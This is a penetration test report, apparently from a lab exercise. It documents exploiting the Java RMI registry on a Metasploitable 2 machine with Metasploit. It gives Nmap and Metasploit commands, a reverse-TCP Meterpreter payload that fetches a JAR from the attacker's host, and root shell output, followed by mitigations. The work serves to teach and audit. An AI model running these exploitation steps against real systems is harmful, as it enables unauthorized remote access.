



Crafting Secure Digital Experiences

Secure Dev Labs
Software Agency | Est.2025

INTERNAL SECURITY AUDIT

Exploitation of Insecure Java RMI Services

Full System Compromise via Port 1099

Prepared For: Executive Leadership Team

Prepared By: Muhammad Ahmed Raza

Company: Secure Dev Labs

Date: May 12, 2026

1. EXECUTIVE SUMMARY

1.1 Engagement Overview

Secure Dev Labs conducted a high-impact penetration test against the Metasploitable 2 environment. The primary objective was to evaluate the resilience of internal network services against advanced exploitation techniques.

1.2 Key Findings

During the assessment, a **Critical** vulnerability was identified in the Java RMI (Remote Method Invocation) service. This misconfiguration allowed for unauthenticated Remote Code Execution (RCE), resulting in immediate and full administrative control over the target host.

OVERALL RISK: CRITICAL

2. SCOPE OF WORK

The scope of this engagement was strictly limited to the following assets and constraints to ensure operational stability.

2.1 In-Scope Assets

Asset Name	IP Address	Description
Metasploitable 2	192.168.1.10	Linux-based vulnerable server utilized for service auditing.

2.2 Out-of-Scope Activities

The following activities were strictly prohibited during this engagement:

- **Denial of Service (DoS/DDoS):** Any action that could disrupt service availability.
- **Social Engineering:** Phishing or manipulating personnel.
- **Physical Security:** Unauthorized physical access to server rooms or hardware.
- **Third-Party Infrastructure:** Any IP addresses not explicitly listed in Section 2.1.

3. METHODOLOGY & ACTIONS TAKEN

Phase I: Reconnaissance & Information Gathering

The first phase involved identifying open ports and fingerprinting active services. We utilized Nmap to scan for the Java RMI registry.

```
nmap -sV -p 1099 192.168.1.10
```

Result: Port 1099 was confirmed open, running an unprotected Java RMI registry service.

This section details the specific technical actions performed during the assessment cycle.

Phase II: Vulnerability Research & Exploitation

Based on reconnaissance data, we analyzed the RMI service for known insecure default configurations. The Metasploit Framework was employed to simulate an attack.

```
use exploit/multi/misc/java_rmi_server
set RHOSTS 192.168.1.10
set LPORT 4445
exploit
```

Result: A Meterpreter session was successfully established, bypassing authentication requirements.

Phase III: Post-Exploitation & Privilege Verification

Once access was gained, system interrogation was performed to verify user authority and system information.

```
meterpreter > getuid  
Server username: root
```

4. FINDINGS & EVIDENCE

4.1 Vulnerability Analysis (WH Analysis)

What is the issue?

The target system is running an insecure Java RMI (Remote Method Invocation) registry. It lacks a security manager, which allows unauthenticated remote attackers to bind malicious objects and execute arbitrary code on the server.

Where is the issue?

The vulnerability exists on **TCP Port 1099** of the host **192.168.1.10** (Metasploitable 2).

How to overcome from that issue?

To mitigate this risk, the RMI service should be disabled if not required. If necessary, a **Java Security Manager** must be implemented, and the service should be restricted behind a firewall to allow only trusted IP addresses. Additionally, encrypting communication via SSL/TLS is highly recommended.

4.2 Evidence (Proof of Concept)

The following screenshots and logs serve as technical proof of the successful compromise.

```
ahemii@kali: ~  
Session Actions Edit View Help  
[~]  
[~] nmap -p 1099 192.168.56.102  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-10 15:16 PKT  
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers  
Nmap scan report for 192.168.56.102  
Host is up (0.021s latency).  
  
PORT      STATE SERVICE  
1099/tcp  open  rmiregistry  
MAC Address: 08:00:27:B4:63:45 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
```

```
ahemii@kali: ~  
Session Actions Edit View Help  
Metasploit Documentation: https://docs.metasploit.com/  
The Metasploit Framework is a Rapid7 Open Source Project  
  
msf > use exploit/multi/misc/java_rmi_server  
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp  
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.56.102  
RHOSTS => 192.168.56.102  
msf exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp  
PAYLOAD => java/meterpreter/reverse_tcp  
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.56.101  
LHOST => 192.168.56.101  
msf exploit(multi/misc/java_rmi_server) > exploit  
[*] Started reverse TCP handler on 192.168.56.101:4444  
[*] 192.168.56.102:1099 - Using URL: http://192.168.56.101:8080/G0VS6QVDSZJf0  
[*] 192.168.56.102:1099 - Server started.  
[*] 192.168.56.102:1099 - Sending RMI Header ...  
[*] 192.168.56.102:1099 - Sending RMI Call ...  
[*] 192.168.56.102:1099 - Replied to request for payload JAR  
[*] Sending stage (58073 bytes) to 192.168.56.102  
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.102:55717) at 2026-05-10 15:55:13 +0500  
[-] 192.168.56.102:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request  
[*] Exploit completed, but no session was created.  
msf exploit(multi/misc/java_rmi_server) > set LPORT 4445  
LPORT => 4445  
msf exploit(multi/misc/java_rmi_server) > exploit  
[*] Started reverse TCP handler on 192.168.56.101:4445  
[*] 192.168.56.102:1099 - Using URL: http://192.168.56.101:8080/R6bAJXV  
[*] 192.168.56.102:1099 - Server started.  
[*] 192.168.56.102:1099 - Sending RMI Header ...  
[*] 192.168.56.102:1099 - Sending RMI Call ...  
[*] 192.168.56.102:1099 - Replied to request for payload JAR  
[*] Sending stage (58073 bytes) to 192.168.56.102  
[*] Meterpreter session 2 opened (192.168.56.101:4445 -> 192.168.56.102:60652) at 2026-05-10 15:57:04 +0500  
[-] 192.168.56.102:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request  
[*] Exploit completed, but no session was created.  
msf exploit(multi/misc/java_rmi_server) > session -i 1  
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
```



```
msf exploit(multi/misc/java_rmi_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > shell
Process 1 created.
Channel 1 created.
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:b4:63:45
          inet addr:192.168.56.102  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feb4:6345/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:548 errors:0 dropped:0 overruns:0 frame:0
          TX packets:388 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:530655 (518.2 KB)  TX bytes:45262 (44.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:127 errors:0 dropped:0 overruns:0 frame:0
          TX packets:127 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:36021 (35.1 KB)  TX bytes:36021 (35.1 KB)
```

5. RECOMMENDATIONS

Recommendation	Priority	Action Type
Disable Port 1099 / RMI Service	Critical	Short-Term
Implement Network Filtering (Firewall)	High	Short-Term
Enforce JRE Security Manager & SSL	High	Long-Term